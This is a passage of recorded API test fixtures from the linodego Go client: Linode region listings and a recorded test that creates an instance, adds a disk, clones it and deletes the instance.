null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-rl13z8c16rj5","firewall_id":1301897,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 68072662, "label": "go-test-ins-wo-disk-rl13z8c16rj5", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.129"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "68ed1ae16fddc44088b6b1064d9a8e03819cbe70", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-a6r94i79sq8j","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072662/configs method: POST response: body: '{"id": 71416838, "label": "go-test-conf-a6r94i79sq8j", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:06:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072662 method: GET response: body: '{"id": 68072662, "label": "go-test-ins-wo-disk-rl13z8c16rj5", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.129"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "68ed1ae16fddc44088b6b1064d9a8e03819cbe70", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:07:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-disk-test-n2w70m14hnx5","size":2000,"image":"linode/debian10","root_pass":",0Et/2/]6C\u003c1y/\u0026f2XZ2VwQ4r7Czq08A0Nm0~]BnjIlW0bv=~1aR@p*49Hr''-M.A","filesystem":"ext4"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072662/disks method: POST response: body: '{"id": 132854760, "status": "not ready", "label": "go-disk-test-n2w70m14hnx5", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000, "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "212" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:07:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072662 method: GET response: body: '{"id": 68072662, "label": "go-test-ins-wo-disk-rl13z8c16rj5", "group": "", "status": "offline", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.238.129"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "68ed1ae16fddc44088b6b1064d9a8e03819cbe70", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:07:31 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072662/disks?page=1 method: GET response: body: '{"data": [{"id": 132854760, "status": "ready", "label": "go-disk-test-n2w70m14hnx5", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000, "disk_encryption": "enabled"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "257" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:07:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072662/disks/132854760/clone method: POST response: body: '{"id": 132854789, "status": "ready", "label": "Copy of go-disk-test-n2w70m14hnx5", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000, "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "216" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:07:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/68072662 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 05 Dec 2024 21:07:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_Disk_ListMultiple_Primary.yaml000066400000000000000000001176651474652371000352010ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 